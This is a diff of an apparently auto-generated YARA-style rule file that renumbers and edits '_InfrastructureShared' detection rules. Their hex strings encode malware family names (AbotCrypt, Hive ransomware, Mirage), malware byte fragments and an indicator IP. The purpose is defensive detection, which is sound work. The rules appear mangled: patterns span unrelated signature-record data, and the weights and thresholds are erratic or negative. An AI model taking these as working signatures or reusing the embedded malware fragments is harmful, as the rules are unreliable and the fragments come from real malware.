+99648,7 @@ rule _InfrastructureShared_8784{ ((#a_46_0 & 1)*16675+(#a_eb_1 & 1)*4608+(#a_89_2 & 1)*-31675+(#a_43_3 & 1)*-32755) >=5 } -rule _InfrastructureShared_8785{ +rule _InfrastructureShared_9328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -93770,7 +99662,7 @@ rule _InfrastructureShared_8785{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*23653+(#a_68_2 & 1)*25953+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_8786{ +rule _InfrastructureShared_9329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -93784,7 +99676,7 @@ rule _InfrastructureShared_8786{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29797+(#a_5f_2 & 1)*29537+(#a_49_3 & 1)*19770+(#a_50_4 & 1)*20596) >=5 } -rule _InfrastructureShared_8787{ +rule _InfrastructureShared_9330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -93798,7 +99690,7 @@ rule _InfrastructureShared_8787{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*272+(#a_00_2 & 1)*110+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_8788{ +rule _InfrastructureShared_9331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -93811,7 +99703,7 @@ rule _InfrastructureShared_8788{ ((#a_4c_0 & 1)*21539+(#a_67_2 & 1)*3072+(#a_6d_3 & 1)*17247+(#a_01_4 & 1)*14384) >=5 } -rule _InfrastructureShared_8789{ +rule _InfrastructureShared_9332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -93824,7 +99716,7 @@ rule _InfrastructureShared_8789{ ((#a_6f_0 & 1)*21539+(#a_65_1 & 1)*24942+(#a_5f_2 & 1)*21571+(#a_74_4 & 1)*26881) >=5 } -rule _InfrastructureShared_8790{ +rule _InfrastructureShared_9333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -93839,7 +99731,7 @@ rule _InfrastructureShared_8790{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_85_3 & 1)*0+(#a_70_4 & 1)*2304+(#a_72_5 & 1)*26982) >=6 } -rule _InfrastructureShared_8791{ +rule _InfrastructureShared_9334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -93854,7 +99746,7 @@ rule _InfrastructureShared_8791{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_85_3 & 1)*0+(#a_6d_4 & 1)*21038+(#a_77_5 & 1)*265) >=6 } -rule _InfrastructureShared_8792{ +rule _InfrastructureShared_9335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 21 " @@ -93865,7 +99757,7 @@ rule _InfrastructureShared_8792{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*0) >=7 } -rule _InfrastructureShared_8793{ +rule _InfrastructureShared_9336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 21 " @@ -93877,7 +99769,7 @@ rule _InfrastructureShared_8793{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*1027+(#a_68_2 & 1)*25455) >=7 } -rule _InfrastructureShared_8794{ +rule _InfrastructureShared_9337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 21 " @@ -93891,7 +99783,7 @@ rule _InfrastructureShared_8794{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*30977+(#a_65_2 & 1)*30067+(#a_88_3 & 1)*-489+(#a_0b_4 & 1)*1324) >=7 } -rule _InfrastructureShared_8795{ +rule _InfrastructureShared_9338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 05 00 21 " @@ -93905,7 +99797,7 @@ rule _InfrastructureShared_8795{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*29793+(#a_90_2 & 1)*-29436+(#a_16_3 & 1)*11286+(#a_04_4 & 1)*3030) >=9 } -rule _InfrastructureShared_8796{ +rule _InfrastructureShared_9339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 02 00 03 00 21 " @@ -93915,7 +99807,7 @@ rule _InfrastructureShared_8796{ ((#a_6f_0 & 1)*21539) >=2 } -rule _InfrastructureShared_8797{ +rule _InfrastructureShared_9340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -93925,7 +99817,7 @@ rule _InfrastructureShared_8797{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_8798{ +rule _InfrastructureShared_9341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -93936,7 +99828,7 @@ rule _InfrastructureShared_8798{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*10) >=10 } -rule _InfrastructureShared_8799{ +rule _InfrastructureShared_9342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 21 " @@ -93948,7 +99840,7 @@ rule _InfrastructureShared_8799{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*30063+(#a_28_2 & 1)*1025) >=10 } -rule _InfrastructureShared_8800{ +rule _InfrastructureShared_9343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -93960,7 +99852,7 @@ rule _InfrastructureShared_8800{ ((#a_54_0 & 1)*18467+(#a_2a_1 & 1)*400+(#a_5a_2 & 1)*384) >=12 } -rule _InfrastructureShared_8801{ +rule _InfrastructureShared_9344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -93972,7 +99864,7 @@ rule _InfrastructureShared_8801{ ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*1792+(#a_00_3 & 1)*400) >=13 } -rule _InfrastructureShared_8802{ +rule _InfrastructureShared_9345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " @@ -93983,7 +99875,7 @@ rule _InfrastructureShared_8802{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*400) >=15 } -rule _InfrastructureShared_8803{ +rule _InfrastructureShared_9346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 03 00 21 " @@ -93994,7 +99886,7 @@ rule _InfrastructureShared_8803{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*25443) >=15 } -rule _InfrastructureShared_8804{ +rule _InfrastructureShared_9347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -94003,38 +99895,51 @@ rule _InfrastructureShared_8804{ $a_01_1 = {47 65 74 50 69 78 65 6c 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 07 81 01 54 6f 57 69 6e 33 32 00 00 78 85 00 00 10 00 10 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 62 6f 74 43 72 79 70 74 2e 53 4c 21 4d 54 42 00 02 00 10 01 2f 50 6f 73 74 47 65 74 2f 53 65 74 44 61 74 61 0a 00 0e 01 39 34 2e 31 34 30 2e 31 31 34 2e 31 36 30 02 00 11 01 2f 50 6f 73 74 47 65 } //2048 $a_74_2 = {72 74 42 6f 74 02 00 1a 01 2a 3c 61 20 68 72 65 66 3d 22 2f 73 65 61 72 63 68 28 2e 2a 3f 29 22 3e 2e 2a 00 00 78 85 00 00 14 00 14 00 04 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 56 65 63 74 6f 72 65 64 43 61 6c 6c } //12148 $a_41_3 = {05 00 0b 01 5b 2d 5d 20 62 61 64 20 70 69 64 05 00 15 01 5b 2d 5d 20 66 69 6c 65 20 72 65 61 64 20 65 72 72 6f 72 20 21 05 00 09 01 5b 2d } //29285 - $a_65_4 = {66 21 05 00 1b 01 5b 2d 5d 20 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 22 73 79 73 63 61 6c 6c 00 00 78 85 00 00 c8 00 c8 00 02 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 6e 00 64 00 48 01 52 00 65 00 6c 00 65 00 61 00 73 00 65 00 20 00 30 00 2e 00 37 00 36 00 20 00 28 00 77 00 69 00 74 } //8285 + $a_65_4 = {66 21 05 00 1b 01 5b 2d 5d 20 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 22 73 79 73 63 61 6c 6c 00 00 78 85 00 00 37 00 37 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 72 61 67 65 2e 4d 52 21 4d 54 42 00 19 00 16 01 59 ff d6 8b d8 ff d6 0f af c3 99 8b cf f7 f9 ff 4d f8 66 89 55 f4 14 00 21 01 8b cb c1 e9 1d c1 e3 } //8285 + $a_8b_5 = {33 da 23 d9 33 df 03 5d c4 03 de 8b f3 c1 e6 07 c1 eb 19 0b f3 0a 00 19 01 89 08 8b 45 0c 8b 8d ec fe ff ff 89 08 8b 45 10 8b 8d f4 fe ff ff 89 08 58 00 00 78 85 00 00 c8 00 c8 00 02 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 6e 00 64 00 48 01 52 00 65 00 6c 00 65 00 61 00 73 00 65 00 20 00 30 00 2e 00 37 00 36 00 20 00 28 00 77 00 69 00 74 00 68 00 6f 00 75 00 74 00 20 00 65 00 6d 00 62 00 65 00 64 00 64 00 65 00 64 00 20 00 68 00 65 00 6c 00 70 00 29 00 64 00 0c 01 6e 61 6d 65 3d 22 50 75 54 54 59 22 00 00 78 86 00 00 01 00 01 00 01 00 21 23 41 4c } //2819 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*2048+(#a_74_2 & 1)*12148+(#a_41_3 & 1)*29285+(#a_65_4 & 1)*8285) >=15 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*2048+(#a_74_2 & 1)*12148+(#a_41_3 & 1)*29285+(#a_65_4 & 1)*8285+(#a_8b_5 & 1)*2819) >=15 } -rule _InfrastructureShared_8805{ +rule _InfrastructureShared_9348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 62 6f 74 43 72 79 70 74 2e 53 4c 21 4d 54 42 00 02 00 10 01 2f 50 6f 73 74 47 65 74 2f 53 65 74 44 61 74 61 0a 00 0e 01 39 34 2e 31 34 30 2e 31 31 34 2e 31 36 30 02 00 11 01 2f 50 6f 73 } //16675 $a_74_1 = {53 74 61 72 74 42 6f 74 02 00 1a 01 2a 3c 61 20 68 72 65 66 3d 22 2f 73 65 61 72 63 68 28 2e 2a 3f 29 22 3e 2e 2a 00 00 78 85 00 00 14 00 14 00 04 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 56 65 63 74 6f 72 65 64 43 61 6c 6c 65 72 2e 41 00 05 00 0b 01 5b 2d 5d 20 62 61 } //18292 - $a_69_2 = {05 00 15 01 5b 2d 5d 20 66 69 6c 65 20 72 65 61 64 20 65 72 72 6f 72 20 21 05 00 09 01 5b 2d 5d 20 73 65 6c 66 21 05 00 1b 01 5b 2d 5d 20 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 22 73 79 73 63 61 6c 6c 00 00 78 85 00 00 c8 00 c8 00 02 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 } //8292 - $a_00_3 = {48 01 52 00 65 00 6c 00 65 00 61 00 73 00 65 00 20 00 30 00 2e 00 37 00 36 00 20 00 28 00 77 00 69 00 74 00 68 00 6f 00 75 00 74 00 20 00 65 00 6d 00 62 00 65 00 64 00 64 00 65 00 64 00 20 00 68 00 65 00 6c 00 70 00 29 00 64 00 0c 01 6e 61 6d 65 3d 22 50 75 54 54 59 22 00 00 78 86 00 00 01 00 01 00 } //110 + $a_69_2 = {05 00 15 01 5b 2d 5d 20 66 69 6c 65 20 72 65 61 64 20 65 72 72 6f 72 20 21 05 00 09 01 5b 2d 5d 20 73 65 6c 66 21 05 00 1b 01 5b 2d 5d 20 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 22 73 79 73 63 61 6c 6c 00 00 78 85 00 00 37 00 37 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 72 61 67 65 2e 4d 52 21 4d 54 } //8292 + $a_00_3 = {16 01 59 ff d6 8b d8 ff d6 0f af c3 99 8b cf f7 f9 ff 4d f8 66 89 55 f4 14 } //66 condition: - ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*18292+(#a_69_2 & 1)*8292+(#a_00_3 & 1)*110) >=16 + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*18292+(#a_69_2 & 1)*8292+(#a_00_3 & 1)*66) >=16 } -rule _InfrastructureShared_8806{ +rule _InfrastructureShared_9349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 04 00 21 " strings : $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 56 65 63 74 6f 72 65 64 43 61 6c 6c 65 72 2e 41 00 05 00 0b 01 5b 2d 5d 20 62 61 64 20 70 69 64 05 00 15 01 5b 2d 5d 20 66 69 6c 65 20 72 65 61 64 20 65 72 72 6f 72 20 21 05 } //16675 $a_5b_1 = {5d } //2304 ] - $a_6c_2 = {21 05 00 1b 01 5b 2d 5d 20 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 22 73 79 73 63 61 6c 6c 00 00 78 85 00 00 c8 00 c8 00 02 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 6e 00 64 00 48 01 52 00 65 00 6c 00 65 00 61 00 73 00 65 00 20 00 30 00 2e 00 } //29472 - $a_00_3 = {20 00 28 00 77 00 69 00 74 00 68 00 6f 00 75 00 74 00 20 00 65 00 6d 00 62 00 65 00 64 00 64 00 65 00 64 00 20 00 68 00 65 00 6c 00 70 00 29 00 64 00 0c 01 6e 61 } //55 (without embedded help)dČ慮 + $a_6c_2 = {21 05 00 1b 01 5b 2d 5d 20 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 22 73 79 73 63 61 6c 6c 00 00 78 85 00 00 37 00 37 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 72 61 67 65 2e 4d 52 21 4d 54 42 00 19 00 16 01 59 ff d6 8b d8 ff d6 0f af c3 99 8b cf f7 f9 ff 4d f8 66 89 } //29472 + $a_00_3 = {21 01 8b cb c1 e9 1d c1 e3 03 0b cb 8b df 33 da 23 d9 33 df } //-2987 condition: - ((#a_46_0 & 1)*16675+(#a_5b_1 & 1)*2304+(#a_6c_2 & 1)*29472+(#a_00_3 & 1)*55) >=20 + ((#a_46_0 & 1)*16675+(#a_5b_1 & 1)*2304+(#a_6c_2 & 1)*29472+(#a_00_3 & 1)*-2987) >=20 } -rule _InfrastructureShared_8807{ +rule _InfrastructureShared_9350{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,37 00 37 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 72 61 67 65 2e 4d 52 21 4d 54 42 00 19 00 16 01 59 ff d6 8b d8 ff d6 0f af c3 99 8b cf f7 f9 ff 4d f8 66 89 55 f4 14 00 21 01 8b cb c1 e9 1d c1 e3 03 0b cb 8b df } //21539 + $a_d9_1 = {df 03 5d c4 03 de 8b f3 c1 e6 07 c1 eb 19 0b f3 0a 00 19 01 89 08 8b 45 0c 8b 8d ec fe ff ff 89 08 8b 45 } //-9677 + $a_f4_2 = {ff ff 89 08 58 00 00 78 85 00 00 c8 00 c8 00 02 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 6e 00 64 00 48 01 52 00 65 00 6c 00 65 00 61 00 73 00 65 00 20 00 30 00 2e 00 37 00 36 00 20 00 28 00 77 00 69 00 74 00 68 00 6f 00 75 00 74 00 20 00 65 00 6d 00 62 00 65 00 64 00 64 00 65 00 64 00 20 00 68 00 65 00 6c 00 70 00 29 00 64 00 0c 01 6e 61 6d 65 3d 22 50 75 54 54 59 } //-29936 + condition: + ((#a_4c_0 & 1)*21539+(#a_d9_1 & 1)*-9677+(#a_f4_2 & 1)*-29936) >=55 + +} +rule _InfrastructureShared_9351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -94045,7 +99950,7 @@ rule _InfrastructureShared_8807{ ((#a_5f_0 & 1)*25635+(#a_75_1 & 1)*8765) >=200 } -rule _InfrastructureShared_8808{ +rule _InfrastructureShared_9352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -94055,7 +99960,7 @@ rule _InfrastructureShared_8808{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8809{ +rule _InfrastructureShared_9353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -94065,7 +99970,7 @@ rule _InfrastructureShared_8809{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8810{ +rule _InfrastructureShared_9354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -94075,7 +99980,7 @@ rule _InfrastructureShared_8810{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8811{ +rule _InfrastructureShared_9355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -94085,7 +99990,17 @@ rule _InfrastructureShared_8811{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8812{ +rule _InfrastructureShared_9356{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 48 69 76 65 2e 41 48 56 49 21 4d 54 42 00 01 00 58 01 48 83 ec 60 48 89 6c 24 58 48 8d 6c 24 58 48 89 44 24 68 48 8d 4c 24 38 44 0f 11 39 48 8d 54 24 48 44 0f 11 3a 48 8d 15 45 f8 03 00 48 89 54 24 38 48 c7 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_9357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -94095,7 +100010,7 @@ rule _InfrastructureShared_8812{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8813{ +rule _InfrastructureShared_9358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -94105,7 +100020,7 @@ rule _InfrastructureShared_8813{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8814{ +rule _InfrastructureShared_9359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -94115,7 +100030,7 @@ rule _InfrastructureShared_8814{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8815{ +rule _InfrastructureShared_9360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -94125,7 +100040,7 @@ rule _InfrastructureShared_8815{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8816{ +rule _InfrastructureShared_9361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -94135,7 +100050,7 @@ rule _InfrastructureShared_8816{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8817{ +rule _InfrastructureShared_9362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -94145,7 +100060,7 @@ rule _InfrastructureShared_8817{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8818{ +rule _InfrastructureShared_9363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -94155,7 +100070,7 @@ rule _InfrastructureShared_8818{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_8819{ +rule _InfrastructureShared_9364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -94165,7 +100080,7 @@ rule _InfrastructureShared_8819{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_8820{ +rule _InfrastructureShared_9365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -94176,7 +100091,7 @@ rule _InfrastructureShared_8820{ ((#a_46_0 & 1)*16675+(#a_c1_1 & 1)*-14029) >=1 } -rule _InfrastructureShared_8821{ +rule _InfrastructureShared_9366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -94187,7 +100102,7 @@ rule _InfrastructureShared_8821{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*12856) >=1 } -rule _InfrastructureShared_8822{ +rule _InfrastructureShared_9367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -94198,7 +100113,7 @@ rule _InfrastructureShared_8822{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*13155) >=1 } -rule _InfrastructureShared_8823{ +rule _InfrastructureShared_9368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -94209,7 +100124,7 @@ rule _InfrastructureShared_8823{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25972) >=1 } -rule _InfrastructureShared_8824{ +rule _InfrastructureShared_9369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -94220,7 +100135,7 @@ rule _InfrastructureShared_8824{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*97) >=1 } -rule _InfrastructureShared_8825{ +rule _InfrastructureShared_9370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -94232,7 +100147,7 @@ rule _InfrastructureShared_8825{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*4200+(#a_00_2 & 1)*1) >=1 } -rule _InfrastructureShared_8826{ +rule _InfrastructureShared_9371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -94243,7 +100158,7 @@ rule _InfrastructureShared_8826{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*144) >=1 } -rule _InfrastructureShared_8827{ +rule _InfrastructureShared_9372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -94255,7 +100170,7 @@ rule _InfrastructureShared_8827{ ((#a_6c_0 & 1)*19491+(#a_3c_1 & 1)*29754+(#a_00_2 & 1)*0) >=1 } -rule _InfrastructureShared_8828{ +rule _InfrastructureShared_9373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -94266,7 +100181,7 @@ rule _InfrastructureShared_8828{ ((#a_6e_0 & 1)*21027+(#a_00_2 & 1)*114) >=1 } -rule _InfrastructureShared_8829{ +rule _InfrastructureShared_9374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -94278,7 +100193,7 @@ rule _InfrastructureShared_8829{ ((#a_72_0 & 1)*22051+(#a_13_1 & 1)*9284+(#a_b7_2 & 1)*-14556) >=1 } -rule _InfrastructureShared_8830{ +rule _InfrastructureShared_9375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -94290,7 +100205,7 @@ rule _InfrastructureShared_8830{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*106+(#a_81_2 & 1)*400) >=1 } -rule _InfrastructureShared_8831{ +rule _InfrastructureShared_9376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -94302,7 +100217,7 @@ rule _InfrastructureShared_8831{ ((#a_46_0 & 1)*16675+(#a_12_2 & 1)*-29076+(#a_69_3 & 1)*29557) >=1 } -rule _InfrastructureShared_8832{ +rule _InfrastructureShared_9377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -94314,7 +100229,7 @@ rule _InfrastructureShared_8832{ ((#a_5f_0 & 1)*25635+(#a_67_1 & 1)*19570+(#a_00_3 & 1)*101) >=1 } -rule _InfrastructureShared_8833{ +rule _InfrastructureShared_9378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -94325,7 +100240,7 @@ rule _InfrastructureShared_8833{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*119) >=2 } -rule _InfrastructureShared_8834{ +rule _InfrastructureShared_9379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -94336,7 +100251,7 @@ rule _InfrastructureShared_8834{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101) >=2 } -rule _InfrastructureShared_8835{ +rule _InfrastructureShared_9380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -94347,7 +100262,7 @@ rule _InfrastructureShared_8835{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*769) >=2 } -rule _InfrastructureShared_8836{ +rule _InfrastructureShared_9381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -94358,7 +100273,7 @@ rule _InfrastructureShared_8836{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144) >=2 } -rule _InfrastructureShared_8837{ +rule _InfrastructureShared_9382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -94369,7 +100284,7 @@ rule _InfrastructureShared_8837{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*400) >=2 } -rule _InfrastructureShared_8838{ +rule _InfrastructureShared_9383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -94380,7 +100295,7 @@ rule _InfrastructureShared_8838{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*24948) >=2 } -rule _InfrastructureShared_8839{ +rule _InfrastructureShared_9384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -94391,7 +100306,7 @@ rule _InfrastructureShared_8839{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*22528) >=2 } -rule _InfrastructureShared_8840{ +rule _InfrastructureShared_9385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -94402,7 +100317,7 @@ rule _InfrastructureShared_8840{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25697) >=2 } -rule _InfrastructureShared_8841{ +rule _InfrastructureShared_9386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -94413,7 +100328,7 @@ rule _InfrastructureShared_8841{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*82) >=2 } -rule _InfrastructureShared_8842{ +rule _InfrastructureShared_9387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -94424,7 +100339,7 @@ rule _InfrastructureShared_8842{ ((#a_6f_0 & 1)*21539+(#a_63_1 & 1)*30063) >=2 } -rule _InfrastructureShared_8843{ +rule _InfrastructureShared_9388{ meta: description = 